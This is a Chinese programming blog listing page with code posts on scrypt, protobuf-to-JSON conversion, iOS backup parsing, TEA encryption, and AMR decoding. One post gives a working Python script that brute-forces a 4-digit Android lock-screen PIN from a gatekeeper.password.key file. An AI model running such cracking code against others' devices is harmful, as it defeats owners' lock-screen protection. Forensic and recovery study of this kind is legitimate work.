忙忙碌碌,更新不及时诶。
C/C++代码

scrypt算法源码


scrypt算法,不多解释。

可直接在windows、linux、android(ndk)上编译。


crypto_scrypt.h

/*-
 * Copyright 2009 Colin Percival
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 * This file was originally written by Colin Percival as part of the Tarsnap
 * online backup system.
 */
#ifndef _CRYPTO_SCRYPT_H_
#define _CRYPTO_SCRYPT_H_

#include <stdint.h>

/**
 * crypto_scrypt(passwd, passwdlen, salt, saltlen, N, r, p, buf, buflen):
 * Compute scrypt(passwd[0 .. passwdlen - 1], salt[0 .. saltlen - 1], N, r,
 * p, buflen) and write the result into buf.  The parameters r, p, and buflen
 * must satisfy r * p < 2^30 and buflen <= (2^32 - 1) * 32.  The parameter N
 * must be a power of 2 greater than 1.
 *
 * Return 0 on success; or -1 on error.
 */
int crypto_scrypt(const uint8_t *, size_t, const uint8_t *, size_t, uint64_t,
                  uint32_t, uint32_t, uint8_t *, size_t);

#endif /* !_CRYPTO_SCRYPT_H_ */


More...

blackfeather 2019/6/19 0评论

C/C++代码

gatekeeper.password.key离线破解算法


安卓很早就开始启用了gatekeeper的锁屏密码机制,如果未启用TEE的情况下,是默认使用“软加密”的方式,可以离线破解出原始密码,知道原始密码在某些情况下还是比较有用的,以下是破解实例,自行调整。


import struct
import binascii
import scrypt
N = 16384;
r = 8;
p = 1;

f = open('gatekeeper.password.key', 'rb')
blob = f.read()

s = struct.Struct('<'+'17s 8s 32s')
(meta, salt, signature) = s.unpack_from(blob)

for one in "0123456789":
	for two in "0123456789":
		for three in "0123456789":
			for four in "0123456789":
				password = one + two + three + four;
				print 'pass: %s' % password
				to_hash = meta
				to_hash += password
				hash = scrypt.hash(to_hash, salt, N, r, p)

				print 'signature  %s' % signature.encode('hex')
				print 'Hash:      %s' % hash[0:32].encode('hex')
				if hash[0:32] == signature:
					print "OK"
					exit()


blackfeather 2019/6/19 0评论

C/C++代码

protobuf转json方法


工作中经常用到protobuf的场景,但是由于protobuf不是明文信息,在调试和检查时不是很直观,于是就有转换为json的需求,方便排查。

json使用的jsoncpp库,自行补上头文件等。


void _field2json(const Message& msg, const FieldDescriptor *field, size_t index, Json::Value &jsonValue)
{
	const Reflection *ref = msg.GetReflection();
	const bool repeated = field->is_repeated();

	switch (field->cpp_type())
	{
#define _CONVERT(type, ctype, sfunc, afunc)		\
		case FieldDescriptor::type: {			\
			const ctype value = (repeated)?		\
				ref->afunc(msg, field, index):	\
				ref->sfunc(msg, field);		\
			jsonValue = value;			\
			break;					\
				}

		_CONVERT(CPPTYPE_DOUBLE, double, GetDouble, GetRepeatedDouble);
		_CONVERT(CPPTYPE_FLOAT, double, GetFloat, GetRepeatedFloat);
		_CONVERT(CPPTYPE_INT64, INT64, GetInt64, GetRepeatedInt64);
		_CONVERT(CPPTYPE_UINT64, UINT64, GetUInt64, GetRepeatedUInt64);
		_CONVERT(CPPTYPE_INT32, INT32, GetInt32, GetRepeatedInt32);
		_CONVERT(CPPTYPE_UINT32, UINT32, GetUInt32, GetRepeatedUInt32);
		_CONVERT(CPPTYPE_BOOL, bool, GetBool, GetRepeatedBool);
#undef _CONVERT
		case FieldDescriptor::CPPTYPE_STRING: {
			std::string scratch;
			const std::string &value = (repeated) ?
				ref->GetRepeatedStringReference(msg, field, index, &scratch) :
				ref->GetStringReference(msg, field, &scratch);
			if (field->type() == FieldDescriptor::TYPE_BYTES)
				jsonValue = base64_encode((const unsigned char *)value.c_str(), value.length());
			else
				jsonValue = value.c_str();
			break;
		}
		case FieldDescriptor::CPPTYPE_MESSAGE: {
			const Message& mf = (repeated) ?
				ref->GetRepeatedMessage(msg, field, index) :
				ref->GetMessage(msg, field);
			jsonValue = Protobuf2Json(mf);
			break;
		}
		case FieldDescriptor::CPPTYPE_ENUM: {
			const EnumValueDescriptor* ef = (repeated) ?
				ref->GetRepeatedEnum(msg, field, index) :
				ref->GetEnum(msg, field);

			jsonValue = ef->number();
			break;
		}
		default:
			break;
	}
	//if (!jf) throw j2pb_error(field, "Fail to convert to json");
	//return jsonRet;
}


Json::Value Protobuf2Json(const Message &msg)
{
	Json::Value jsonRet;

	const Descriptor *d = msg.GetDescriptor();
	const Reflection *ref = msg.GetReflection();
	if (!d || !ref) 
		return jsonRet;

	std::vector<const FieldDescriptor *> fields;
	ref->ListFields(msg, &fields);

	for (size_t i = 0; i != fields.size(); i++)
	{
		const FieldDescriptor *field = fields[i];
		const std::string &name = (field->is_extension()) ? field->full_name() : field->name();

		if (field->is_repeated())
		{
			size_t count = ref->FieldSize(msg, field);
			if (!count) 
				continue;

			for (size_t j = 0; j < count; j++)
				_field2json(msg, field, j, jsonRet[name][j]);
		}
		else if (ref->HasField(msg, field))
			_field2json(msg, field, 0, jsonRet[name]);
		else
			continue;
	}

	return jsonRet;
}


More...

blackfeather 2019/6/6 0评论

C/C++代码

IOS备份文件列表解析(Manifest.mbdb)


IOS通过备份,得到的目录里面是一片乱码(严格来说是sha1编码)。解析出具体的文件列表的分析有很多了,整理了一下,写出来。

大概介绍下,这个文件的开头是“mbdb”,前六个字节一般是固定的“mbdb\05\00”,然后就是一个个结构体。结构体大概是这样子的:

struct fileinfo{
char   *domain;
char   *filename;
char   *linktarget;
char   *datahash;
char   *unknown1;
unsigned short  mode;
unsigned int unknown2;
unsigned int inode;
unsigned int userid;
unsigned int groupid;
unsigned int mtime;
unsigned int atime;
unsigned int ctime;
unsigned long long filelen;
unsigned int flag;
unsigned int numprops;
};

domain就是包名,每个应用都不同。filename就是path。datahash发现现在都是空的了,无用。最后就是那个numprops是附加数据,这个必须处理。flag为0是文件夹或者link,也可以通过filelen来判断是否为文件。

More...

blackfeather 2016/7/25 1评论

C/C++代码

Tea算法 - C++


Tea算法被某公司应用的酣畅淋漓,最近用到了,在测试了多分代码后,推荐此代码。保留原作者信息。


cpypt.cpp

/**
 * The QQ2003C protocol plugin
 *
 * for gaim
 *
 * Copyright © 2004 Puzzlebird
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 **************************************************
 * Reorganized by Minmin <csdengxm@hotmail.com>, 2005-3-27
 **************************************************
 */

#include "stdafx.h"
#include "crypt.h"

#include <string.h>
#ifdef _WIN32
#include <winsock.h>
#else
#include <arpa/inet.h>
#endif
#include <cstring>

Crypt::Crypt()
{
}

Crypt::~Crypt()
{
}

void Crypt::teaEncipher(unsigned int *const v, const unsigned int *const k,
			unsigned int *const w)
{
	register unsigned int
		y     = ntohl(v[0]),
		z     = ntohl(v[1]),
		a     = ntohl(k[0]),
		b     = ntohl(k[1]),
		c     = ntohl(k[2]),
		d     = ntohl(k[3]),
		n     = 0x10,       /* do encrypt 16 (0x10) times */
		sum   = 0,
		delta = 0x9E3779B9; /*  0x9E3779B9 - 0x100000000 = -0x61C88647 */

	while (n-- > 0) {
		sum += delta;
		y += ((z << 4) + a) ^ (z + sum) ^ ((z >> 5) + b);
		z += ((y << 4) + c) ^ (y + sum) ^ ((y >> 5) + d);
	}

	w[0] = htonl(y); w[1] = htonl(z);
}
void Crypt::teaDecipher(unsigned int *const v, const unsigned int *const k,
			unsigned int *const w)
{
	register unsigned int
		y     = ntohl(v[0]),
		z     = ntohl(v[1]),
		a     = ntohl(k[0]),
		b     = ntohl(k[1]),
		c     = ntohl(k[2]),
		d     = ntohl(k[3]),
		n     = 0x10,
		sum   = 0xE3779B90,
		/* why this ? must be related with n value*/
		delta = 0x9E3779B9;

	void *p = &a;
	/* sum = delta<<5, in general sum = delta * n */
	while (n-- > 0) {
		z -= ((y << 4) + c) ^ (y + sum) ^ ((y >> 5) + d);
		y -= ((z << 4) + a) ^ (z + sum) ^ ((z >> 5) + b);
		sum -= delta;
	}

	w[0] = htonl(y);
	w[1] = htonl(z);
}

void Crypt::encrypt( unsigned char* instr, int32 instrlen, unsigned char* key,
			unsigned char*  outstr, int32* outstrlen_ptr)
{
	unsigned char
		plain[8],         /* plain text buffer*/
		plain_pre_8[8],   /* plain text buffer, previous 8 bytes*/
		* crypted,        /* crypted text*/
		* crypted_pre_8,  /* crypted test, previous 8 bytes*/
		* inp;            /* current position in instr*/
	int
		pos_in_byte = 1,  /* loop in the byte */
		is_header=1,      /* header is one byte*/
		count=0,          /* number of bytes being crypted*/
		padding = 0;      /* number of padding stuff*/

	//void encrypt_every_8_byte (void);

	/*** we encrypt every eight byte ***/
#define encrypt_every_8_byte()  \
	{\
	for(pos_in_byte=0; pos_in_byte<8; pos_in_byte++) {\
	if(is_header) { plain[pos_in_byte] ^= plain_pre_8[pos_in_byte]; }\
			else { plain[pos_in_byte] ^= crypted_pre_8[pos_in_byte]; }\
	} /* prepare plain text*/\
	teaEncipher( (unsigned int *) plain,\
	(unsigned int *) key, \
	(unsigned int *) crypted);   /* encrypt it*/\
	\
	for(pos_in_byte=0; pos_in_byte<8; pos_in_byte++) {\
	crypted[pos_in_byte] ^= plain_pre_8[pos_in_byte]; \
	} \
	memcpy(plain_pre_8, plain, 8);     /* prepare next*/\
	\
	crypted_pre_8   =   crypted;       /* store position of previous 8 byte*/\
	crypted         +=  8;             /* prepare next output*/\
	count           +=  8;             /* outstrlen increase by 8*/\
	pos_in_byte     =   0;             /* back to start*/\
	is_header       =   0;             /* and exit header*/\
	}/* encrypt_every_8_byte*/

	pos_in_byte = (instrlen + 0x0a) % 8; /* header padding decided by instrlen*/
	if (pos_in_byte) {
		pos_in_byte = 8 - pos_in_byte;
	}
	plain[0] = (rand() & 0xf8) | pos_in_byte;

	memset(plain+1, rand()&0xff, pos_in_byte++);
	memset(plain_pre_8, 0x00, sizeof(plain_pre_8));

	crypted = crypted_pre_8 = outstr;

	padding = 1; /* pad some stuff in header*/
	while (padding <= 2) { /* at most two byte */
		if(pos_in_byte < 8) { plain[pos_in_byte++] = rand() & 0xff; padding ++; }
		if(pos_in_byte == 8){ encrypt_every_8_byte(); }
	}

	inp = instr;
	while (instrlen > 0) {
		if (pos_in_byte < 8) { plain[pos_in_byte++] = *(inp++); instrlen --; }
		if (pos_in_byte == 8){ encrypt_every_8_byte(); }
	}

	padding = 1; /* pad some stuff in tailer*/
	while (padding <= 7) { /* at most sever byte*/
		if (pos_in_byte < 8) { plain[pos_in_byte++] = 0x00; padding ++; }
		if (pos_in_byte == 8){ encrypt_every_8_byte(); }
	}

	*outstrlen_ptr = count;

}

int Crypt::rand(void)
{
	/* it can be the real random seed function*/
	return 0xdead; /* override with number, convenient for debug*/
}

int Crypt::decrypt( unsigned char* instr, int32 instrlen, unsigned char* key,
			unsigned char*  outstr, int32* outstrlen_ptr)
{
	unsigned char
		decrypted[8], m[8],
		* crypt_buff,
		* crypt_buff_pre_8,
		* outp;
	int
		count,
		context_start,
		pos_in_byte,
		padding;

#define decrypt_every_8_byte()  {\
	bool bNeedRet = false;\
	for (pos_in_byte = 0; pos_in_byte < 8; pos_in_byte ++ ) {\
	if (context_start + pos_in_byte >= instrlen) \
	{\
	bNeedRet = true;\
	break;\
	}\
	decrypted[pos_in_byte] ^= crypt_buff[pos_in_byte];\
	}\
	if( !bNeedRet ) { \
	teaDecipher( (unsigned int *) decrypted, \
	(unsigned int *) key, \
	(unsigned int *) decrypted);\
	\
	context_start +=  8;\
	crypt_buff    +=  8;\
	pos_in_byte   =   0;\
	}\
}/* decrypt_every_8_byte*/

	/* at least 16 bytes and %8 == 0*/
	if ((instrlen % 8) || (instrlen < 16)) return 0;
	/* get information from header*/
	teaDecipher( (unsigned int *) instr,
		(unsigned int *) key,
		(unsigned int *) decrypted);
	pos_in_byte = decrypted[0] & 0x7;
	count = instrlen - pos_in_byte - 10; /* this is the plaintext length*/
	/* return if outstr buffer is not large enought or error plaintext length*/
	if (*outstrlen_ptr < count || count < 0) return 0;

	memset(m, 0, 8);
	crypt_buff_pre_8 = m;
	*outstrlen_ptr = count;   /* everything is ok! set return string length*/

	crypt_buff = instr + 8;   /* address of real data start */
	context_start = 8;        /* context is at the second 8 byte*/
	pos_in_byte ++;           /* start of paddng stuffv*/

	padding = 1;              /* at least one in header*/
	while (padding <= 2) {    /* there are 2 byte padding stuff in header*/
		if (pos_in_byte < 8) {  /* bypass the padding stuff, none sense data*/
			pos_in_byte ++; padding ++;
		}
		if (pos_in_byte == 8) {
			crypt_buff_pre_8 = instr;
			//if (! decrypt_every_8_byte()) return 0;
			decrypt_every_8_byte();
		}
	}/* while*/

	outp = outstr;
	while(count !=0) {
		if (pos_in_byte < 8) {
			*outp = crypt_buff_pre_8[pos_in_byte] ^ decrypted[pos_in_byte];
			outp ++;
			count --;
			pos_in_byte ++;
		}
		if (pos_in_byte == 8) {
			crypt_buff_pre_8 = crypt_buff - 8;
			//if (! decrypt_every_8_byte()) return 0;
			decrypt_every_8_byte();
		}
	}/* while*/

	for (padding = 1; padding < 8; padding ++) {
		if (pos_in_byte < 8) {
			if (crypt_buff_pre_8[pos_in_byte] ^ decrypted[pos_in_byte]) return 0;
			pos_in_byte ++;
		}
		if (pos_in_byte == 8 ) {
			crypt_buff_pre_8 = crypt_buff;
			//if (! decrypt_every_8_byte()) return 0;
			decrypt_every_8_byte();
		}
	}/* for*/
	return 1;

}


int Crypt::qq_crypt ( unsigned char   flag,  unsigned char*  instr,  int32  instrlen,
			unsigned char*  key, unsigned char*  outstr, int32* outstrlen_ptr)
{
	if (flag == DECRYPT)
		return decrypt(instr, instrlen, key, outstr, outstrlen_ptr);
	else
		if (flag == ENCRYPT)
			encrypt(instr, instrlen, key, outstr, outstrlen_ptr);

	return 1; /* flag must be DECRYPT or ENCRYPT*/
}/* qq_crypt*/


More...

blackfeather 2016/4/18 0评论

C/C++代码

某个sqlcrypto的算法概要

逆向分析某app的本地存储是发现其平台下所有APP都是利用了同一个基于sqlite的加密库,网上没有搜索到任何有用信息,猜测是自己定制的(文件名:libdatabase_sqlcrypto.so,内部名是alibaba.sqlcrypto)。


ps:如果有人觉得此文不妥,立即联系博主处理(我发现了一些事情,表示你们响应速度还蛮快的)。

More...

blackfeather 2015/12/24 5评论

C/C++代码

WPA/WPA2数据包解密还原


无线网络越来越普及,从此涉及到的业务也出现了多个。从安全圈子来讲,破解、劫持、嗅探等等都开始玩的不亦乐乎。本篇文章详细说明有了数据包如何还原WPA/WPA2加密的密文数据。此文章仅代表博主对WPA/WPA2加密解密的理解,用于学习流程,也为共同研究的同学提供关键字查询更多资料,如有错误请多包涵。

关键字:WAP,WPA2,解密,EAPOL,WPADecrypt。


开放wifi就不提了,直接通过嗅探可以看到所有数据。

More...

blackfeather 2015/9/29 1评论

C/C++代码

移动设备的amr音频解码 - VC

移动设备很多都用的AMR格式的编码来压缩语音,用于存储和传输。但是用代码播放时,需要先解码。


以下就是解码代码:

#define MMS_IO

#ifdef MMS_IO
#define AMR_MAGIC_NUMBER "#!AMR\n"
#define MAX_PACKED_SIZE (MAX_SERIAL_SIZE / 8 + 2)
#endif

/* frame size in serial bitstream file (frame type + serial stream + flags) */
#define SERIAL_FRAMESIZE (1+MAX_SERIAL_SIZE+5)


BOOL AMRNBDecode(BYTE *pbAmrBuffer, DWORD dwAmrLen, BYTE **bOut, DWORD *dwOutLen, BOOL IsHadHeader)
{
	Speech_Decode_FrameState *speech_decoder_state = NULL;
	Word16 serial[SERIAL_FRAMESIZE];   /* coded bits                    */
	Word16 synth[L_FRAME];             /* Synthesis                     */

	UWord8 packed_bits[MAX_PACKED_SIZE];
	Word16 packed_size[16] = { 12, 13, 15, 17, 19, 20, 26, 31, 5, 0, 0, 0, 0, 0, 0, 0 };

	enum RXFrameType rx_type = (enum RXFrameType)0;
	enum TXFrameType tx_type = (enum TXFrameType)0;
	enum Mode mode = (enum Mode)0;

	Word16 reset_flag = 0;
	Word16 reset_flag_old = 1;
	Word16 i;

	UWord8 toc, q, ft;

	if (NULL == pbAmrBuffer)
		return FALSE;

	BYTE *pbBuffer = pbAmrBuffer;
	BOOL bRet = FALSE;

	if (IsHadHeader)
	{
		/* read and verify magic number */
		if (memcmp(pbBuffer, AMR_MAGIC_NUMBER, strlen(AMR_MAGIC_NUMBER)))
		{
			return FALSE;
		}
		pbBuffer += strlen(AMR_MAGIC_NUMBER);
		dwAmrLen -= strlen(AMR_MAGIC_NUMBER);
	}

	BYTE *pbDecode = NULL;
	DWORD dwDeLen = 0;

	/*-----------------------------------------------------------------------*
	* Initialization of decoder                                             *
	*-----------------------------------------------------------------------*/
	if (Speech_Decode_Frame_init(&speech_decoder_state, "Decoder"))
		return FALSE;

	/*-----------------------------------------------------------------------*
	* process serial bitstream frame by frame                               *
	*-----------------------------------------------------------------------*/
	while (1 == GetBytesFromBuffer(&pbBuffer, &dwAmrLen, sizeof(UWord8), &toc))
	{
		/* read rest of the frame based on ToC byte */
		q = (toc >> 2) & 0x01;
		ft = (toc >> 3) & 0x0F;
		if (packed_size[ft] != GetBytesFromBuffer(&pbBuffer, &dwAmrLen, packed_size[ft], &packed_bits))
		{
			bRet = FALSE;
			break;
		}

		rx_type = UnpackBits(q, ft, packed_bits, &mode, &serial[1]);

		if (rx_type == RX_NO_DATA) {
			mode = speech_decoder_state->prev_mode;
		}
		else {
			speech_decoder_state->prev_mode = mode;
		}

		/* if homed: check if this frame is another homing frame */
		if (reset_flag_old == 1)
		{
			/* only check until end of first subframe */
			reset_flag = decoder_homing_frame_test_first(&serial[1], mode);
		}
		/* produce encoder homing frame if homed & input=decoder homing frame */
		if ((reset_flag != 0) && (reset_flag_old != 0))
		{
			for (i = 0; i < L_FRAME; i++)
			{
				synth[i] = EHF_MASK;
			}
		}
		else
		{
			/* decode frame */
			Speech_Decode_Frame(speech_decoder_state, mode, &serial[1], rx_type, synth);
		}

		/* write synthesized speech */
		pbDecode = (BYTE *)realloc(pbDecode, sizeof(Word16) * L_FRAME + dwDeLen);
		memcpy(&pbDecode[dwDeLen], synth, sizeof(Word16) * L_FRAME);
		dwDeLen += sizeof(Word16) * L_FRAME;

		/* if not homed: check whether current frame is a homing frame */
		if (reset_flag_old == 0)
		{
			/* check whole frame */
			reset_flag = decoder_homing_frame_test(&serial[1], mode);
		}
		/* reset decoder if current frame is a homing frame */
		if (reset_flag != 0)
		{
			Speech_Decode_Frame_reset(speech_decoder_state);
		}
		reset_flag_old = reset_flag;

		bRet = TRUE;
	}

	Speech_Decode_Frame_exit(&speech_decoder_state);

	if (bRet)
	{
		//建立文件头
		WAVFILEHEADER *pHeader = CreateWavFileHeader(dwDeLen, 1, 8000, 16);
		*dwOutLen = dwDeLen + sizeof(WAVFILEHEADER);
		*bOut = new BYTE[*dwOutLen];
		memcpy(*bOut, pHeader, sizeof(WAVFILEHEADER));
		memcpy(*bOut + sizeof(WAVFILEHEADER), pbDecode, dwDeLen);
		free(pHeader);
	}

	if (pbDecode)
		free(pbDecode);

	return bRet;
}


UINT GetBytesFromBuffer(BYTE **pBuffer, DWORD *dwOft, UINT dwRead, void *lpTarget)
{
	if (*dwOft < dwRead)
		return 0;

	memcpy(lpTarget, *pBuffer, dwRead);
	*dwOft -= dwRead;
	*pBuffer += dwRead;

	return dwRead;
}



WAVFILEHEADER *CreateWavFileHeader(int fileLength, short channel, int sampleRate, short bitPerSample)
{

	WAVFILEHEADER *header = (WAVFILEHEADER *)malloc(sizeof(WAVFILEHEADER));

	// RIFF
	header->riff[0] = 'R';
	header->riff[1] = 'I';
	header->riff[2] = 'F';
	header->riff[3] = 'F';

	// file length
	header->fileLength = fileLength + (44 - 8);

	// WAVE
	header->wavTag[0] = 'W';
	header->wavTag[1] = 'A';
	header->wavTag[2] = 'V';
	header->wavTag[3] = 'E';

	// fmt
	header->fmt[0] = 'f';
	header->fmt[1] = 'm';
	header->fmt[2] = 't';
	header->fmt[3] = ' ';

	header->size = 16;
	header->formatTag = 1;
	header->channel = channel;
	header->sampleRate = sampleRate;
	header->bitPerSample = bitPerSample;
	header->blockAlign = (short)(header->channel * header->bitPerSample / 8);
	header->bytePerSec = header->blockAlign * header->sampleRate;

	// data
	header->data[0] = 'd';
	header->data[1] = 'a';
	header->data[2] = 't';
	header->data[3] = 'a';

	// data size
	header->dataSize = fileLength;

	return header;
}


More...

blackfeather 2015/1/18 0评论